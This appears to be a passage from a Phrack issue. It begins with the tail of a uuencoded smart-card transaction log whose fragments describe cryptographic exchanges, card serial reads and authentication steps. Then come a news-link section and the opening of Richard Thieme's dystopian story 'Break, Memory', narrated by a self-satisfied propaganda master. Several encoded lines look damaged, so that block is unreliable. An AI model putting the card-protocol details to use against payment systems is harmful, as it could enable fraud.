M("`@("`@/"TM(&]N(#`T(#H@-#AH(#%$(#`P#0H@("`@,#$@-C0@,S`L,C8@
M("`@("\+2T@;VX@,S`L($0P+$-$("%"`T-T,!P!N;R!`*0T*("`@(#,S(#0W
M("`@("`@/"TM(&]N(#,Q(#H@-#5&(#-$(%1R#0H@("`@+$,S("`@("`P("`@
M+"`@("`@(#PM+2!O;B!B`R,%"`L(#0P+5)05"T-"B!&<@T*("`@(#(S(#0X
M("`@/"TM(%1O9&%Y)W,@9&%T93H@,#`O,#0O,#0-"B`@("`R-"`@("`@("`@
M("`@("`@("`\+2T@,1F(.5"`P,"`P,2`P,2`P,2`Q1"`-"B`@("`@("`@
M#0H@("`@,#$@,1#`@,1#`@,1#`@,1#`@#0H@("`@+$-80"Q#`@+$-80"Q#`@
M+$-8+2!B`@("!!,B!!,B!!,B!!,B`-"B`@("`Y,"`P,"`-"B`@("`^/D)#(#`P
M(#`P("`@("`T*("`@(#@P(#`P("`@/"TM(%1R86YS86-T:6]N(#$Z(#`P(#`P
M("`@("`@-"B`@("`P-B`P-B`P-B`P-B`-"B`@("`^/D)#(#@P(#`P(#`P(#`X
M(#PM+2!#>7!H97)I;F<@*&9R;VT@,%1O9&%Y*0T*("`@(#`Y(#`P("`@("`@
M("`@("`@("`@/"TM(%1R86YS86-T:6]N(#$Z(#`P(#`P("`@("`@("`@/"TM
M(%1R86YS86-T:6]N(#(Z(#`P(#`P("`@("`@/"TM(%1R86YS86-T:6]N(#,Z
M(#`P(#`P("`@("`@/"TM(%1R86YS86-T:6]N(#0Z(#`P(#`P("`@("`@("`@
M("`@/"TM(%1R86YS86-T:6]N(#4Z(#`P(#`P("`@("`@/"TM(%1R86YS86-T
M:6]N(#8Z(#`P(#`P(`T*("`@(#`Y(#`P(#`P(#`P(#%$(#`P(#`P(#`P(#`Q
M("`@/"TM(%1R86YS86-T:6]N(#<Z(#`P(#`P(#0H@("`@.3`@,#`@#0H-"B`@
M("`^/D)#(#@P(#`P(#`P(#`X(#PM+2!#>7!H97)I;F<-"B`@("`W1B`-"B`@
M("`^/C%$($,X("`@("`@("`@/"TM(&9R;VT@,%1O9&%Y*0T*("`@(#`Y(#`P
M("`@("`@(#PM+2!#>7!H97)I;F<-"B`@("`W1B`-"B`@("`^/C`Y#0H@("`@
M-T8@#0H@("`@/CXR,`T*("`@(#=&(`T*("`@(#X^,4,-"B`@("`W1B`-"B`@
M("`@/CY$,"`@("`@("`@("`@("`\+2T@,#D@,C`@,4,@0S<@1C<@6S`X($0P
M(#PM+2!#>7!H97)I;F<@*$-"0R!-;V1E*0T*("`@(#=&(`T*("`@(#X^,C$-
M"B`@("`W1B`-"B`@("`^/C4T#0H@("`@-T8@#0H@("`@/CXP.0T*("`@(#=&
M(`T*("`@(#X^,#`-"B`@("`W1B`-"B`@("`^/C`X#0H@("`@-T8@#0H@("`@
M/CY&-2`@("`-"B`@("`W1B`-"B`@("`^/C`X#0H@("`@-T8@#0H@("`@/CY$
M,"`@("`@("`@("`@("`\+2T@,C$@-30@,#D@,#`@,#@@1C4@6S`X($0P72`-
M"B`@("`Y,"`P,"`-"@T*("`@(#X^0D,@0S`@,#`@,#`@,#@@/"TM(%)E861I
M;F<@<F5S=6QT#0H@("`@0S`@("`@("`@("`@("`@("`@("`@("`@("`@("`@
M("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@
M
```

```
M:6YG('9A;&ED871E("AV86QI9&%T:6]N(&)I="!I<R`](#$@.RD-"B`@("!"
M,"`-"B`@("`S,R`W,"`R-R`Q,"`-"B`@("`Y,"`P,"`-"@T*+RHJ*BHJ*BHJ
M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ
M*BHJ*@T*("H@1V5N97)A=&4@5F5R:69Y97(@0T%)("AK97ER:6YG(#,I("`@
M("`@("`@("`@("`@("`@("`@*@T*("H@*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ
M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*B\-"BTM+2TM+2TM
M+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM
M+2TM+2T-"B`@("`^/D9&("`@("`@("`@("`@("`@("`@("`@/"TM(%)E
M<V5T#0H@("`@,T8@-C4@,C4@,#@@,S8@,#0@-D,@.3`@,#`@(#PM+2!!5%(@
M*$%N<W=E<B!4;R!297-E=")D-"BTM+2TM+2TM+2TM+2TM+2TM+2TM+2TM
M+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2T-"@T*("`@(#X^0D,@
M0C`@,#D@1C`@,#0@#0H@("`@0C`@#0H@("`@-#0@0S(@.$$@,$4@("`@("`\
M+2T@4F5A9&EN9R!#4TX-"B`@("`Y,"`P,"`-"@T*("`@(#X^0D,@0C`@,#D@
M-3`@,#0@#0H@("`@0C`@#0H@("`@,S`@,#0@.3<@,3$@("`@("`\+2T@4F5A
M9&EN9R!B96=I;FYI;F<@;V8@4$%.(&9O<B!304Q4#0H@("`@.3`@,#`@#0H-
M"B`@("`^/D)#(#@T(#`P(#`P(#`X(#PM+2!#>7!H97)I;F<@*#-R9"!K97DI
M+"!386QT(#T@,#D@-3`-"B`@("`W0B`-"B`@("`^/C(V#0H@("`@-T(@(#0H@
M("`@/CY$1@T*("`@(#=B("`T*("`@(#X^138-"B`@("`W0B`-"B`@("`^/C)"
M#0H@("`@-T(@(#0H@("`@/CY&0PT*("`@(#=B("`T*("`@(#X^1C$-"B`@("`W
M0B`-"B`@("`^/C`Y#0H@("`@-T(@(#0H@("`@/CXU,"`@("`@("`@("`@("`\
M+2T@,C8@1$8@138@1$(@1C$@,#9S`Y(#4P70T*("`@(#DP(#`P("`T*#0H@
M("`@/CY"0R`P,"`P,"`P."`\+2T@4F5A9&EN9S=6QT#0H@("`@0S`@("`T*("`@
M(#(V($1&(#4V(#)"("@S9#(@($8Q(#`T*("`@(#DP(#`P("`T*#0H@("`@
M/CY"0R`P,"`P,"`P.2`V("`P-"`@("`-"B`@("`!","`-"B`@("`S,"`P,"`Y.2`Q,"`@
M("`@(#PM+2!296%D:6YG(&9A8G)I8V%T:6]N(&1A=&4@9F]R(')E=',-+A;'0-"B`@
M("`Y,"`P,"`-"@T*("`@(#X^0D,@0C`@,#`@,#`@,#`@/"TM($-Y<&AE<FEN
M9RP@<V%L=""`](#8X#0H@("`@-T(@(#0H@("`@/CXO,"T*("`@(#==("`T*
M("`@(#X^.$(-"B`@("`W0B`-"B`@("`^/D8Y#0H@("`@-T(@(#0H@("`@/CXY
M,,@T*("`@(#==("`T*("`@(#X^-#<-"B`@("`W0B`-"B`@("`^/C8T#0H@("`@
M-T(@(#0H@("`@/CXP.0T*("`@(#==("`T*("`@(#X^-C@@("`@("`@("`@("`@
M/"TM(#@P(#A"(#8Y(#DR(#0W(#8T(#`Y(#8X(#`P+2!#>7!H97)E9"!D871A
M("`@(#X^0D,@,#`@,#`@,#@@/"TM($5X="!!=71H:6-A=&EO;B`H,$!L"B`@
M,"`X0B!&.2`Y,"`@("`-"B`@("`Y,"`P,"`-"B`@("`^/D)#(#`P(#`P(#`X
M("`^/D)#(#<P(#<P(#`X(#PM+2!296%D:6YG(&9A8G)I8V%T:6]N(&1A=&4@9F]R
M92!!F;W(@<V%L=""`](#(T("`@("`@("`@("`@("`@("`@("`@("`@("`@(#DP
M(#`P("`T*#0H@("`@/CY"0R`P,"`P,"`P."`\+2T@4F5A9&EN9R!C;V1E(&9O
M<B!P87)A;65T97(@<V5T('1A<&4-"B`@("`Y,"`P,"`-"@T*("`@(#X^0D,@
M,"`P,"`X,"`P,"`@(#PM+2!#>7!H97)I;F<@*#-R9"!K97DI+"!386QT(#T@
M,#`@,#`-"B`@("`W0B`-"B`@("`^/C`S#0H@("`@-T(@(#0H@("`@/CXP.0T*
M("`@(#==("`T*("`@(#X^,$$-"B`@("`W0B`-"B`@("`^/C`U#0H@("`@-T(@
M(#0H@("`@/CXP,"T*("`@(#==("`T*("`@(#X^-S(@("`@("`@("`@("`@("`@
M/"TM(#`S(#`Y(#!!(#`U(#`P(#<R(#`Y(#@P("`@/"TM($-Y<&AE<F5D(&1A=&$-
M"B`@("`Y,"`P,"`-"@T*("`@(#X^0D,@,#`@,#`@,#@@/"TM($5X="!!=71H
M("`@(#X^0D,@,$(@-"`P,"`X,"`P,"`@(#PM+2!296%D:6YG(')E<W5L=`T*
M("`@(#$P(#`P("`T*("`@(#DP(#`P("`T*#0H@("`@/CY"0R`P,"`P,"`P."`\
M+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM
M+2TM+2TM+2TM+0T*#0HK+2TM+2TM+2TM*PT*?"!2151)4D5:('P-"GP@
M($-!4E1%("!\#0HK+2TM+2TM+2TM*PT*#0I%;F0@;V8@=')A;G-A8W1I;VX-
%"@T*#0H`
`
end
```

<++> ./old_log.txt.uue

|=[EOF]=---=|

```
                          ==Phrack Inc.==

              Volume 0x0b, Issue 0x3e, Phile #0x10 of 0x10

|=-----------------------------------------------------------------------=|
|=--------------------=[ W O R L D   N E W S ]=--------------------------=|
|=-----------------------------------------------------------------------=|
```

1 - Break, Memory, by Richard Thieme
2 - The Geometry of Near, by Richard Thieme
3 - The Feasibility of Anarchy in America, by Anthony

*** QUICK NEWS quiCK NEWS QUICK NEWS QUICK NEWS QUICK NEWS QUICK NEWS ***

- Windows source code leaked
http://ww.kuro5hin.org/story/2004/2/15/71552/7795
http://www.wired.com/news/technology/0,1282,62282,00.html

- grsecurity 'Spender' makes fun of OpenBSD and Mac OS X
http://seclists.org/lists/fulldisclosure/2004/Jun/0647.html

- These guys have all the books about terrorist/anarchy/combat/...
http://www.paladin-press.com

- 29A releases first worm that spreads via mobile network
http://securityresponse.symantec.com/avcenter/venc/data/epoc.cabir.html

```
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
```

Break, Memory

By

Richard Thieme

The Evolution of the Problem

The problem was not that people couldn't remember; the problem was that people couldn't forget.

As far back as the 20th century, we realized that socio-historical problems were best handled on a macro level. It was inefficient to work on individuals who were, after all, nothing but birds in digital cages. Move the cage, move the birds. The challenge was to build the cage big enough to create an illusion of freedom in flight but small enough to be moved easily.

When long-term collective memory became a problem in the 21st century, it wound up on my desktop. There had always been a potential for individuals to connect the dots and cause a contextual shift. We managed the collective as best we could with Chomsky Chutes but an event could break out randomly at any time like a bubble bursting. As much as we surveil the social landscape with sensors and datamine for deep patterns, we can't catch everything. It's all sensors and statistics, after all, which have limits. If a phenomenon gets sticky or achieves critical mass, it can explode through any interface, even create the interface it needs at the moment of explosion. That can gum up the works.

Remembering and forgetting changed after writing was invented. The ones that remembered best had always won. Writing shifted the advantage from those who knew to those who knew how to find what was known. Electronic communication shifted the advantage once again to those who knew what they didn't need to know but knew how to get it when they did. In the twentieth century advances in pharmacology and genetic engineering increased longevity dramatically and at the same time meaningful distinctions between backward and forward societies disappeared so far as health care was concerned. The population exploded everywhere simultaneously.

People who had retired in their sixties could look forward to sixty or seventy more years of healthful living. As usual, the anticipated problems - overcrowding, scarce water and food, employment for those who wanted it - were not the big issues.

Crowding was managed by staggered living, generating niches in many multiples of what used to be daylight single-sided life. Life became double-sided, then triple-sided, and so on. Like early memory storage devices that packed magnetic media inside other media, squeezing them into every bit of available space, we designed multiple niches in society that allowed people to live next to one another in densely packed communities without even noticing their neighbors. Oh, people were vaguely aware that thousands of others were on the streets or in stadiums, but they might as well have been simulants for all the difference they made. We call this the Second Neolithic, the emergence of specialization at the next level squared.

The antisocial challenges posed by hackers who "flipped" through niches for weeks at a time, staying awake on Perkup, or criminals exploiting flaws inevitably present in any new system, were anticipated and handled using risk management algorithms. In short, multisided life works.

Genetic engineering provided plenty of food and water. Binderhoff Day commemorates the day that water was recycled from sewage using the Binderhoff Method. A body barely relinquishes its liquid before it's back in a glass in its hand. As to food, the management of fads enables us to play musical chairs with agri-resources, smoothing the distribution curve.

Lastly, people are easy to keep busy. Serial careers, marriages and identities have been pretty much standard since the twentieth century. Trends in that direction continued at incremental rather than tipping-point levels. We knew within statistical limits when too many transitions would cause a problem, jamming intersections as it were with too many vehicles, so we licensed relationships, work-terms, and personal reinvention using traffic management algorithms to control the social flow.

By the twenty-first century, everybody's needs were met. Ninety-eight per cent of everything bought and sold was just plain made up. Once we started a fad, it tended to stay in motion, generating its own momentum. People spent much of their time exchanging goods and services that an objective observer might have thought useless or unnecessary, but of course, there was no such thing as an objective observer. Objectivity requires distance, historical perspective, exactly what is lacking. Every product or service introduced into the marketplace drags in its wake an army of workers to manufacture it, support it, or clean up after it which swells the stream until it becomes a river. All of those rivers flow into the sea but the sea is never full.

Fantasy baseball is a good example. It had long been noticed that baseball itself, once the sport became digitized, was a simulation. Team names were made up for as many teams as the population would watch. Players for those teams were swapped back and forth so the team name was obviously arbitrary, requiring the projection of a "team gestalt" from loyal fans pretending not to notice that they booed players they had cheered as heroes the year before. Even when fans were physically present at games, the experience was mediated through digital filters; one watched or listened to digital simulations instead of the game itself, which existed increasingly on the edges of the field of perception. Then the baseball strike of 2012 triggered the Great Realization. The strike was on for forty-two days before anyone noticed the absence of flesh-and-blood players because the owners substituted players made of pixels. Game Boys created game boys. Fantasy baseball had invented itself in recognition that fans might as well swap virtual players and make up teams too but the G.R. took it to the next level. After the strike, Double Fantasy Baseball became an industry, nested like a Russian doll inside Original Fantasy Baseball. Leagues of fantasy players were swapped in meta-leagues of fantasy players. Then Triple Fantasy Baseball . Quadruple Fantasy Baseball . and now the fad is Twelves in baseball football and whack-it-ball and I understand that Lucky Thirteens is on the drawing boards, bigger and better than any of its predecessors.

So no, there is no shortage of arbitrary activities or useless goods. EBay was the prototype of the future, turning the world into one gigantic swap meet. If we need a police action or a new professional sport to bleed off excess hostility or rebalance the body politic, we make it up. The Hump in the Bell Curve as we call the eighty per cent that buy and sell just about everything swim blissfully in the currents of make-believe digital rivers, all unassuming. They call it the Pursuit of Happiness. And hey - who are we to argue?

The memory-longevity problem came as usual completely out of fantasy left field. People were living three, four, five generations, as we used to count generations, and vividly recalled the events of their personal histories. Pharmacological assists and genetic enhancement made the problem worse by quickening recall and ending dementia and Alzheimer’s. I don’t mean that every single person remembered every single thing but the Hump as a whole had pretty good recall of its collective history and that’s what mattered. Peer-to-peer communication means one-knows-everyone-knows and that created problems for society in general and - as a Master of Society - that makes it my business.

My name is Horicon Walsh, if you hadn’t guessed, and I lead the team that designs the protocols of society. I am the man behind the Master. I am the Master behind the Plan.

The Philosophical Basis of the Problem

The philosophical touchstone of our efforts was defined in nineteenth century America. The only question that matters is, What good is it? Questions like, what is its nature? what is its end? are irrelevant.

Take manic depression, for example. Four per cent of the naturally occurring population were manic depressive in the late twentieth century. The pharmacological fix applied to the anxious or depressive one-third of the Hump attempted to maintain a steady internal state, not too high and not too low. That standard of equilibrium was accepted without question as a benchmark for fixing manic depression. Once we got the chemistry right, the people who had swung between killing themselves and weeks of incredibly productive, often genius-level activity were tamped down in the bowl, as it were, their glowing embers a mere reflection of the fire that had once burned so brightly. Evolution, in other words, had gotten it right because their good days - viewed from the top of the tent - made up for their bad days. Losing a few to suicide was no more consequential than a few soccer fans getting trampled. Believing that the Golden Mean worked on the individual as well as the macro level, we got it all wrong.

That sort of mistake, fixing things according to unexamined assumptions, happened all the time when we started tweaking things. Too many dumb but athletic children spoiled the broth. Too many waddling bespectacled geeks made it too acrid. Too many willowy beauties made it too salty. Peaks and valleys, that’s what we call the first half of the 21st century, as we let people design their own progeny. The feedback loops inside society kind of worked - we didn’t kill ourselves - but clearly we needed to be more aware. Regulation was obviously necessary and subsequently all genetic alteration and pharmacological enhancements were cross-referenced in a matrix calibrated to the happiness of the Hump. Executing the Plan to make it all work was our responsibility, a charge that the ten per cent of us called Masters gladly accepted. The ten per cent destined to be dregs, spending their lives picking through dumpsters and arguing loudly with themselves in loopy monologues, serve as grim reminders of what humanity would be without our enlightened guidance.

That’s the context in which it became clear that everybody remembering everything was a problem. The Nostalgia Riots of Greater Florida were only a symptom.

The Nostalgia Riots

Here you had the fat tip of a long peninsular state packed like a water balloon with millions of people well into their hundreds. One third of the population was 150 or older by 2175. Some remembered sixteen major wars and dozens of skirmishes and police actions. Some had lived through forty-six recessions and recoveries. Some had lived through so many elections they could have written the scripts, that’s how bad it was. Their thoughtful reflection, nuanced perspective, and appropriate skepticism were a blight on a well-managed global free-market democracy. They did not get depressed - pharmies in the food and water made sure of that - but they sure acted like depressed people even if they didn’t feel like it. And depressed people tend to get angry.

West Floridians lined benches from Key West through Tampa Bay all the way to the Panhandle. The view from satellites when they lighted matches one night in midwinter to demonstrate their power shows an unbroken arc along the edge of the water like a second beach beside the darker beach. All day every day they sat there remembering, comparing notes, measuring what was happening now by what had happened before. They put together pieces of the historical puzzle the way people used to do crosswords and we had to work overtime to stay a step ahead. The long view of the Elder Sub-Hump undermined satisfaction with the present. They preferred a different, less helpful way of looking at things.

When the drums of the Department of System Integration, formerly the Managed Affairs and Perception Office, began to beat loudly to rouse the population of our crowded earth to a fury against the revolutionary Martian colonists who shot their resupplies into space rather than pay taxes to the earth, we thought we would have the support of the Elder Sub-Hump. Instead they pushed the drumming into the background and recalled through numerous conversations the details of past conflicts, creating a memory net that destabilized the official Net. Their case for why our effort was doomed was air-tight, but that wasn't the problem. We didn't mind the truth being out there so long as no one connected it to the present. The problem was that so many people knew it because the Elder Sub-Hump wouldn't shut up. That created a precedent and the precedent was the problem.

Long-term memory, we realized, was subversive of the body politic.

Where had we gotten off course? We had led the culture to skew toward youth because youth have no memory in essence, no context for judging anything. Their righteousness is in proportion to their ignorance, as it should be. But the Elder Sub-Hump skewed that skew.

We launched a campaign against the seditious seniors. Because there were so many of them, we had to use ridicule. The three legs of the stool of cover and deception operations are illusion, misdirection, and ridicule, but the greatest of these is ridicule. When the enemy is in plain sight, you have to make him look absurd so everything he says is discredited. The UFO Campaign of the twentieth century is the textbook example of that strategy. You had fighter pilots, commercial pilots, credible citizens all reporting the same thing from all over the world, their reports agreeing over many decades in the small details. So ordinary citizens were subjected to ridicule. The use of government owned and influenced media like newspapers (including agency-owned-and-operated tabloids) and television networks made people afraid to say what they saw. They came to disbelieve their own eyes so the phenomena could hide in plain sight. Pretty soon no one saw it. Even people burned by close encounters refused to believe in their own experience and accepted official explanations.

We did everything possible to make old people look ridiculous. Subtle images of drooling fools were inserted into news stories, short features showed ancients playing inanely with their pets, the testimony of confused seniors was routinely dismissed in courts of law. Our trump card - entertainment - celebrated youth and its lack of perspective, extolling the beauty of young muscular bodies in contrast with sagging-skin bags of bones who paused too long before they spoke. We turned the book industry inside out so the little bit that people did know was ever more superficial. The standard for excellence in publishing became an absence of meaningful text, massive amounts of white space, and large fonts. Originality dimmed, and pretty soon the only books that sold well were mini-books of aphorisms promulgated by pseudo-gurus each in his or her self-generated niche.

Slowly the cognitive functioning of the Hump degraded until abstract or creative thought became marks of the wacky, the outcast, and the impotent.

Then the unexpected happened, as it always will. Despite our efforts, the Nostalgia Riots broke out one hot and steamy summer day. Govvies moved on South Florida with happy gas, trying to turn the rampaging populace into one big smiley face, but the seniors went berserk before the gas - on top of pills, mind you, chemicals in the water, and soporific stories in the media - took effect. They tore up benches from the Everglades to Tampa/St. Pete and made bonfires that made the forest fires of '64 look like fireflies. They smashed store windows, burned hovers, and looted amusement parks along the Hundred-Mile-Boardwalk. Although the Youthful Sub-Hump was slow to get on board, they burned white-hot when they finally ignited, racing through their shopping worlds with inhuman cold-blooded cries. A shiver of primordial terror chilled the Hump from end to end.

That a riot broke out was not the primary problem. Riots will happen and serve many good purposes. They enable us to reinforce stereotypes, enact desirable legislation, and discharge unhelpful energies. The way we frame analyses of their causes become antecedents for future policies and police actions. We have sponsored or facilitated many a useful riot. No, the problem was that the elders' arguments were based on past events and if anybody listened, they made sense. That's what tipped the balance. Youth who had learned to ignore and disrespect their elders actually listened to what they were saying. Pretending to think things through became a fad. The young sat on quasi-elder-benches from Key Largo to Saint Augustine, pretending to have thoughtful conversations about the old days. Coffee shops came back into vogue. Lingering became fashionable again. Earth had long ago decided to back down when the Martians declared independence, so it wasn't that. It was the spectacle of the elderly strutting their stuff in a victory parade that stretched from Miami Beach to Biloxi that imaged a future we could not abide.

Even before the march, we were working on solving the problem. Let them win the battle. Martians winning independence, old folks feeling their oats, those weren't the issues. How policy was determined was the issue. Our long-term strategy focused on winning that war.

Beyond the Chomsky Chutes

The first thing we did was review the efficacy of Chomsky Chutes.

Chomsky Chutes are the various means by which current events are dumped into the memory hole, never to be remembered again. Intentional forgetting is an art. We used distraction, misdirection - massive, minimal and everything in-between, truth-in-lie-embedding, lie-in-truth-embedding, bogus fronts and false organizations (physical, simulated, live and on the Net). We created events wholesale (which some call short-term memory crowding, a species of buffer overflow), generated fads, fashions and movements sustained by concepts that changed the context of debate. Over in the entertainment wing, the most potent wing of the military-industrial-educational-entertainment complex, we invented false people, characters with made-up life stories in simulated communities more real to the Hump than family or friends. We revised historical antecedents or replaced them entirely with narratives you could track through several centuries of buried made-up clues. We sponsored scholars to pursue those clues and published their works and turned them into minipics. Some won Nobel Prizes. We invented Net discussion groups and took all sides, injecting half-true details into the discourse, just enough to bend the light. We excelled in the parallax view. We perfected the Gary Webb Gambit, using attacks by respectable media giants on independent dissenters, taking issue with things they never said, thus changing the terms of the argument and destroying their credibility. We created dummy dupes, substitute generals and politicians and dictators that looked like the originals in videos, newscasts, on the Net, in covertly distributed underground snaps, many of them pornographic. We created simulated humans and sent them out to play among their more real cousins. We used holographic projections, multispectral camouflage, simulated environments and many other stratagems. The toolbox of deception is bottomless and if anyone challenged us, we called them a conspiracy theorist and leaked details of their personal lives. It's pretty tough to be taken seriously when your words are juxtaposed with a picture of you sucking some prostitute's toes. Through all this we supported and often invented opposition groups because discordant voices, woven like a counterpoint into a fugue, showed the world that democracy worked. Meanwhile we used those groups to gather names, filling cells first in databases, then in Guantanamo camps.

Chomsky Chutes worked well when the management of perception was at top-level, the level of concepts. They worked perfectly before chemicals, genetic-enhancements and bodymods had become ubiquitous. Then the balance tipped toward chemicals (both ingested and inside-engineered) and we saw that macro strategies that addressed only the conceptual level let too many percepts slip inside. Those percepts swim around like sperm and pattern into memories; when memories are spread through peer-to-peer nets, the effect can be devastating. It counters everything we do at the macro level and creates a subjective field of interpretation that resists socialization, a cognitively dissonant realm that's like an itch you can't scratch, a shadow world where "truths" as they call them are exchanged on the Black Market. Those truths can be woven together to create alternative realities. The only alternative realities we want out there are ones we create ourselves.

We saw that we needed to manage perception as well as conception. Given that implants, enhancements, and mods were altering human identity through everyday life - routine medical procedures, prenatal and geriatric care, plastic surgery, eye ear nose throat and dental work, all kinds of pharmacopsychotherapies - we saw the road we had to take. We needed to change the brain and its secondary systems so that percepts would filter in and filter out as we preferred. Percepts - not all, but enough - would be pre-configured to model or not model images consistent with society's goals.

Using our expertise in enterprise system programming and management, we correlated subtle changes in biochemistry and nanophysiology to a macro plan calibrated to statistical parameters of happiness in the Hump. Keeping society inside those "happy brackets" became our priority.

So long as changes are incremental, people don't notice. Take corrective lenses, for example. People think that what they see through lenses is what's "real" and are trained to call what their eyes see naturally (if they are myopic, for example) a blur. In fact, it's the other way around. The eyes see what's natural and the lenses create a simulation. Over time people think that percepts mediated by technological enhancements are "real" and what they experience without enhancements is distorted.

It's like that, only inside where it's invisible.

It was simply a matter of working not only on electromechanical impulses of the heart, muscles, and so on as we already did or on altering senses like hearing and sight as we already did or on implanting devices that assisted locomotion, digestion, and elimination as we already did but of working directly as well on the electrochemical wetware called the memory skein or membrane, that vast complex network of hormonal systems and firing neurons where memories and therefore identity reside. Memories are merely points of reference, after all, for who we think we are and therefore how we frame ourselves as possibilities for action. All individuals have mythic histories and collective memories are nothing but shared myths. Determining those points of reference determines what is thinkable at every level of society's mind.

Most of the trial and error work had been done by evolution. Our task was to infer which paths had been taken and why, then replicate them for our own ends.

Short term memory, for example, is wiped out when a crisis occurs. Apparently whatever is happening in a bland sort of ho-hum way when a tiger attacks is of little relevance to survival. But reacting to the crisis is important, so we ported that awareness to the realm of the body politic. Everyday life has its minor crises but pretty much just perks along. We adjusted our sensors to alert us earlier when the Hump was paying too much attention to some event that might achieve momentum or critical mass; then we could release that tiger, so to speak, creating a crisis that got the adrenalin pumping and wiped out whatever the Hump had been thinking. After the crisis passed - and it always did, usually with a minimal loss of life - the Hump never gave a thought to what had been in the forefront of its mind a moment before.

Once the average lifespan reached a couple of hundred years, much of what people remembered was irrelevant or detrimental. Who cared if there had been famine or drought a hundred and fifty years earlier? Nobody! Who cared if a war had claimed a million lives in Botswana or Tajikistan (actually, the figure in both cases was closer to two million)? Nobody! What did it matter to survivors what had caused catastrophic events? It didn't. And besides, the military-industrial-educational-entertainment establishment was such a seamless weld of collusion and mutual self-interest that what was really going on was never exposed to the light of day anyway. The media, the fifth column inside the MIEE complex, filtered out much more than was filtered in, by design. Even when people thought they were "informed," they didn't know what they were talking about.

See, that's the point. People fed factoids and distortions don't know what they're talking about anyway, so why shouldn't inputs and outputs be managed more precisely? Why leave anything to chance when it can be designed? We knew we couldn't design everything but we could design the subjective field in which people lived and that would take care of the rest. That would determine what questions could be asked which in turn would make the answers irrelevant. We had to manage the entire enterprise from end to end.

Now, this is the part I love, because I was in on the planning from the beginning. We remove almost nothing from the memory of the collective! But we and we alone know where everything is stored! Do you get it? Let me repeat. Almost all of the actual memories of the collective, the whole herdlike Hump, are distributed throughout the population, but because they are staggered, arranged in niches that constitute multisided life, and news is managed down to the level of perception itself, the people who have the relevant modules never plug into one another! They never talk to each other, don't you see! Each niche lives in its own deep hole and even when they find gold nuggets they don't show them to anybody. If they did, they could reconstruct the original narrative in its entirety, but they don't even know that!

Isn't that elegant? Isn't that a sublime way to handle whiny neo-liberals who object to destroying fundamental elements of collective memory? We can show them how it's all there but distributed by the sixtysixfish algorithm. That algorithm, the programs that make sense of its complex operations, and the keys to the crypto are all in the hands of the Masters.

I love it! Each Humpling has memory modules inserted into its wetware, calibrated to macro conceptions that govern the thinking and actions of the body politic. Because they don't know what they're missing, they don't know what they're missing. We leave intact the well-distributed peasant gene that distrusts strangers, changes, and new ideas, so if some self-appointed liberator tries to tell them how it works, they snarl or remain sullen or lower their eyes or eat too much or get drunk until they forget why they were angry.

At the same time, we design a memory web that weaves people into communities that cohere, spun through vast amounts of disconnected data. Compartmentalization handles all the rest. The Hump is overloaded with memories, images, ideas, all to no purpose. We keep fads moving, quick quick quick, and we keep the Hump as gratified and happy as a pig in its own defecation.

MemoRacer, Master Hacker

Of course, there are misfits, antisocial criminals and hackers who want to reconstitute the past. We devised an ingenious way to manage them too. We let them have exactly what they think they want.

MemoRacer comes to mind when we talk about hackers. MemoRacer flipped through niches like an asteroid through the zero-energy of space. He lived in a niche long enough to learn the parameters by which the nichelings thought and acted. Then he became invisible, dissolving into the background. When he grew bored or had learned enough, he flipped to the next niche or backtracked, sometimes living in multiple niches and changing points of reference on the fly. He was slippery and smart, but he had an ego and we knew that would be his downfall.

The more he learned, the more isolated he became. The more he understood, the less he could relate to those who didn't. Understand too much, you grow unhappy on that bench listening to your neighbors' prattle. It becomes irritating. MemoRacer and his kind think complexity is exhilarating. They find differences stimulating and challenging. The Hump doesn't think that way. Complexity is threatening to the Hump and differences cause anxiety and discomfort. The Hump does not like anxiety and discomfort.

MemoRacer (his real name was George Ruben, but no one remembers that) learned in his flipping that history was more complex than anyone knew. That was not merely because he amassed so many facts, storing them away on holodisc and drum as trophies to be shown to other hackers, but because he saw the links between them. He knew how to plug and play, leverage and link, that was his genius. Because he didn't fit, he called for revolution, crying out that "Memories want to be free!" I guess he meant by that vague phrase that memories had a life of their own and wanted to link up somehow and fulfill themselves by constituting a person or a society that knew who it was. In a society that knows who it is precisely because it has no idea who it is, that, Mister Master Hacker, is subversive.

Once MemoRacer issued his manifesto on behalf of historical consciousness, he became a public enemy. We could not of course say that his desire to restore the memory of humankind was a crime. Technically, it wasn't. His crime was undermining the basis of transplanetary life in the twenty first century. His crime was disturbing the peace.

He covered his tracks well. MemoRacer blended into so many niches so well that each one thought he belonged. But covering your tracks ninety-nine times isn't enough. It's the hundredth time, that one little slip, that tells us who and where you are.

MemoRacer grew tired and forgetful despite using more Perkup than a waking-state addict - as we expected. The beneficial effects of Perkup degrade over time. It was designed that way so no one could be aware forever. That was the failsafe mechanism pharms had agreed to build in as a back door. All we had to do was wait.

The niche in which he slipped up was the twenty-third business clique. This group of successful low-level managers and small manufacturers were not particularly creative but they worked long hours and made good money. MemoRacer forgot that their lack of interest in ideas, offbeat thinking, was part of their psychic bedrock. Their entertainment consisted of golf, eating, drinking, sometimes sex, then golf again. They bought their fair share of useless goods to keep society humming along, consumed huge quantities of resources to build amusement parks, golf courses, homes with designer shrubs and trees. In short, they were good citizens. But they had little interest in revolutionary ideas and George Ruben, excuse me, MemoRacer forgot that during one critical conversation. He was tired, as I said, and did not realize it. He had a couple of drinks at the club and began declaiming how the entire history of the twentieth century had been stolen from its inhabitants by masters of propaganda, PR, and the national security state. The key details that provided context were hidden or lost, he said. That's how he talked at the nineteenth hole of the Twenty-Third Club! trying to get them all stirred up about something that had happened a century earlier. Even if it was true, who cared? They didn't. What were they supposed to do about it? MemoRacer should have known that long delays in disclosure neutralize even the most shocking revelations and render outrage impotent. People don't like being made to feel uncomfortable at their contradictions. People have killed for less.

